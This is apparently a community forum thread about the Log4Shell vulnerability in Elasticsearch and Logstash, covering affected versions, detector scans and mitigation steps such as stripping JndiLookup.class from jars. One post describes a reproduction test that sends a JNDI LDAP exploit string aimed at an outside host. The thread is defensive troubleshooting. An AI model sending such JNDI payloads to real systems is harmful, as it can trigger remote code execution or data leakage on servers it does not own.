Zero-day-exploit in log4j2 which is part of elasticsearch

Base on the affected version of the announcement, would like to confirm actually nothing need to do if

  1. Elasticsearch version is 7.2+ with bundled JDK11+
  2. logstash 7.X with JDK 11.0.1+

is it correct?

2 Likes

Looks like 7.16.1 is now released.

And when I tried to list files inside /usr/share/elasticsearch/lib directory, it seems like log4j-core JAR file is removed from the distribution (at least from my observation inside the Docker image)

user@hostname:/usr/share/elasticsearch# ls -lah lib/
total 29M
dr-xr-xr-x. 3 root root 4.0K Dec 11 00:35 .
drwxrwxr-x. 1 root root   81 Dec 11 05:12 ..
-r--r--r--. 1 root root 112K May 11  2020 HdrHistogram-2.1.9.jar
-r--r--r--. 1 root root  14M Dec 11 00:30 elasticsearch-7.16.1.jar
-r--r--r--. 1 root root  27K Dec 11 00:30 elasticsearch-cli-7.16.1.jar
-r--r--r--. 1 root root  69K Dec 11 00:30 elasticsearch-core-7.16.1.jar
-r--r--r--. 1 root root  52K Dec 11 00:30 elasticsearch-geo-7.16.1.jar
-r--r--r--. 1 root root  43K Dec 11 00:32 elasticsearch-launchers-7.16.1.jar
-r--r--r--. 1 root root 1.6M Dec 11 00:31 elasticsearch-log4j-7.16.1.jar
-r--r--r--. 1 root root  28K Dec 11 00:30 elasticsearch-lz4-7.16.1.jar
-r--r--r--. 1 root root  14K Dec 11 00:30 elasticsearch-plugin-classloader-7.16.1.jar
-r--r--r--. 1 root root  19K Dec 11 00:30 elasticsearch-secure-sm-7.16.1.jar
-r--r--r--. 1 root root 154K Dec 11 00:30 elasticsearch-x-content-7.16.1.jar
-r--r--r--. 1 root root 1.2M May 11  2020 hppc-0.8.1.jar
-r--r--r--. 1 root root 342K May 11  2020 jackson-core-2.10.4.jar
-r--r--r--. 1 root root  58K May 11  2020 jackson-dataformat-cbor-2.10.4.jar
-r--r--r--. 1 root root  89K May 11  2020 jackson-dataformat-smile-2.10.4.jar
-r--r--r--. 1 root root  46K May 11  2020 jackson-dataformat-yaml-2.10.4.jar
-r--r--r--. 1 root root  17K Dec 11 00:32 java-version-checker-7.16.1.jar
-r--r--r--. 1 root root 1.7M Nov 24 09:22 jna-5.10.0.jar
-r--r--r--. 1 root root 630K May  4  2021 joda-time-2.10.10.jar
-r--r--r--. 1 root root  77K May 11  2020 jopt-simple-5.0.2.jar
-r--r--r--. 1 root root 258K May 11  2020 log4j-api-2.11.1.jar
-r--r--r--. 1 root root 1.8M Oct 20 23:41 lucene-analyzers-common-8.10.1.jar
-r--r--r--. 1 root root 152K Oct 20 23:41 lucene-backward-codecs-8.10.1.jar
-r--r--r--. 1 root root 3.5M Oct 20 23:41 lucene-core-8.10.1.jar
-r--r--r--. 1 root root  97K Oct 20 23:41 lucene-grouping-8.10.1.jar
-r--r--r--. 1 root root 206K Oct 20 23:41 lucene-highlighter-8.10.1.jar
-r--r--r--. 1 root root 149K Oct 20 23:41 lucene-join-8.10.1.jar
-r--r--r--. 1 root root  51K Oct 20 23:41 lucene-memory-8.10.1.jar
-r--r--r--. 1 root root 104K Oct 20 23:41 lucene-misc-8.10.1.jar
-r--r--r--. 1 root root 373K Oct 20 23:41 lucene-queries-8.10.1.jar
-r--r--r--. 1 root root 374K Oct 20 23:41 lucene-queryparser-8.10.1.jar
-r--r--r--. 1 root root 240K Oct 20 23:41 lucene-sandbox-8.10.1.jar
-r--r--r--. 1 root root 303K Oct 20 23:41 lucene-spatial3d-8.10.1.jar
-r--r--r--. 1 root root 245K Oct 20 23:41 lucene-suggest-8.10.1.jar
-r--r--r--. 1 root root 667K Jul  1 16:01 lz4-java-1.8.0.jar
-r--r--r--. 1 root root 302K May 11  2020 snakeyaml-1.26.jar
-r--r--r--. 1 root root  51K May 11  2020 t-digest-3.2.jar
dr-xr-xr-x. 6 root root   81 Dec 11 00:35 tools

So I assume that Elastic is mitigating this issue by removing that JAR file entirely?

will it support the new Logstash 6.8.21 or 7.16.1 for the Elasticsearch 5.5.0 and 6.8.0?

1 Like

Is the ES-Hadoop connector affected by this issue?

I assume it is not affected as it is a library and any logging would done by the caller (ie. Hadoop/Spark/Hive). But a confirmation would be good.

Thanks.

I tried running https://github.com/mergebase/log4j-detector over it and that's my result:

(gotti@plattfisch 796) docker run --rm -it --entrypoint bash docker.elastic.co/elasticsearch/elasticsearch:7.16.1
root@95841cb1bcd7:/usr/share/elasticsearch# ls
LICENSE.txt  NOTICE.txt  README.asciidoc  bin  config  data  jdk  lib  logs  modules  plugins
root@95841cb1bcd7:/usr/share/elasticsearch# jdk/bin/ja
jar        jarsigner  java       javac      javadoc    javap
root@95841cb1bcd7:/usr/share/elasticsearch# jdk/bin/java -jar /tmp/log4j-detector-2021.12.12.jar .
-- Analyzing paths (could take a long time).
-- Note: specify the '--verbose' flag to have every file examined printed to STDERR.
./bin/elasticsearch-sql-cli-7.16.1.jar contains Log4J-2.x   >= 2.10.0 _VULNERABLE_ :-(
./lib/elasticsearch-log4j-7.16.1.jar contains Log4J-2.x   <= 2.0-beta8 _POTENTIALLY_SAFE_ :-|
root@95841cb1bcd7:/usr/share/elasticsearch#

Looks like the vulnerability is only partially fixed ...

3 Likes

We have successfully mitigated it .
just follow below links.

https://dlcdn.apache.org/logging/log4j/2.15.0/apache-log4j-2.15.0-bin.tar.gz

https://docs.jamf.com/technical-articles/Mitigating_the_Apache_Log4j_2_Vulnerability.html

For more details feel free to connect. Cheers

REgards,
Amit Potdar

How to fix this Log4j issue if we have installed Elasticsearch through Package?
Do you provide any steps to resolve this issue and upgrade to the latest version?

Is there a way to download Elasticsearch 6.8.21? The link from the download page currently gives a 404.

Does anyone have steps to reproduce any sort of log4j related issue with Elasticsearch (not logstash, etc).

What I have tried so far:

  • Change a slowlog threshhold to 1ms, so almost all queries will be printed to the slowlog
  • Send a query to Elasticsearch that includes the exploit string, something like ${jndi:ldap:someDNSentryYouCanViewLogsFor.com/a}
  • Verify that the full string appears in the slowlogs

This does not result in a logged DNS query, so it seems like other methods may be required to leak data from an Elasticsearch cluster.

Update: I was using a version of Elasticsearch (7.9) that appears to not be vulnerable to any of the information leakage. Maybe someone can verify on an older version?

@dadoonet @jsvd @Christian_Dahlqvist
We are running our cluster with the given below versions. I guess we don't need to upgrade our version to 7.16.1 based on the above article. However, please confirm it

Current version details

Elasticsearch version: 7.13.x with bundled openjdk 16 2021-03-16
logstash version: 7.13 with bundled openjdk 11.0.11 2021-04-20

We are using the following repourl on our rhel machines:

https://artifacts.elastic.co/packages/oss-7.x/yum

Unfortunately, the latest es version seems to be Elasticsearch-oss-7.10.2-1.x86_64

Will there be any patches in near futures or is this a dead end?

1 Like

I do not understand which version is affected by the vulnerability.
Why is v7.7 affected while v7.8 is not?
Are they the same when using JDK version 11?

Does anyone understand?

I think you're misinterpreting the announcement which says:

Supported versions of Elasticsearch (6.8.9+, 7.8+) used with recent versions of the JDK (JDK9+) are not susceptible to either remote code execution or information leakage.

It doesn't say that 7.7 is affected, just that it's not a supported version (i.e. it's past EOL) so it's out of scope.

2021-12-16 edit to add: "out of scope" meaning "out of the scope of this particular sentence". There are other parts of the announcement that relate to EOL versions.

2 Likes

Aah! That's what I'm talking about!
I understand now.
Thank you, Mr. DavidTurner.

When will the logstash version 6.8.21 be available for download? As stated in an earlier comment, there is still a 404 error on the site of the 6.8.21 (and also the 7.16.1) version!

1 Like

Hi there,

I upgraded to 7.16.1 on my ECK cluster with the NoLookup flag in our env variables. However, I am still getting indicators from our reports that there are still files with log4j v2.11. Is there anything else we can do?

Note: the message below indicates v7.15.1 of ES but after upgrading to v7.16.1 we get something similar. Also, this filepath is also in question /usr/share/elasticsearch/lib/log4j-core-2.11.1.jar

The library `org.apache.logging.log4j:log4j-core` version `2.11.1` was detected in `Maven library manager` located at `/var/lib/kubelet/pods/<id>/volumes/kubernetes.io~empty-dir/elastic-internal-elasticsearch-bin-local/elasticsearch-sql-cli-7.15.1.jar` and is vulnerable to `CVE-2021-44228`, which exists in versions `< 2.15.0-rc2`.

The vulnerability was found in the [Github Security Advisory](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) with vendor severity: `Critical`.

The vulnerability can be remediated by updating the library to version `2.15.0-rc2` or higher, using `mvn versions:use-latest-releases -Dincludes=org.apache.logging.log4j:log4j-core`.
2 Likes

Yes. It does need to be restarted. Additionally, you might need to change the ownership of jar to logtash:logstash or whatever it was before, in case it got changed while updating the jar by removing the class.

1 Like

I am also with the newest version of Elasticsearch receiving the following
/usr/share/Elasticsearch/bin/Elasticsearch-sql-cli-7.16.1.jar contains Log4J-2.x >= 2.10.0 VULNERABLE :frowning:
/usr/share/Elasticsearch/lib/Elasticsearch-log4j-7.16.1.jar contains Log4J-2.x <= 2.0-beta8 POTENTIALLY_SAFE :expressionless: (or did you already remove JndiLookup.class?)

Anyone aware of a fix for the sql-cli or does this not pertain to most users?

If you are using bash and the **/* does NOT work, then run shopt -s globstar before running the zip command.

shopt -s globstar
ls -lrt /usr/share/logstash/logstash-core/**/*/log4j-core-2.*
zip -d <output_of_above_command> org/apache/logging/log4j/core/lookup/JndiLookup.class
chown logstash:logstash <output_of_above_command>

Restart Logstash.

Can I download the latest jars of Log4j and palace it under below folders and start Elasticsearch?
Because when I did this getting error and Elasticsearch is not starting.
usr/share/Elasticsearch/lib/log4j-api-2.11.1.jar
/usr/share/Elasticsearch/modules/repository-url/log4j-1.2-api-2.11.1.jar
/usr/share/Elasticsearch/modules/x-pack-core/log4j-1.2-api-2.11.1.jar
/usr/share/Elasticsearch/modules/x-pack-identity-provider/log4j-slf4j-impl-2.11.1.jar
/usr/share/Elasticsearch/modules/x-pack-security/log4j-slf4j-impl-2.11.1.jar
/usr/share/Elasticsearch/modules/vector-tile/log4j-slf4j-impl-2.11.1.jar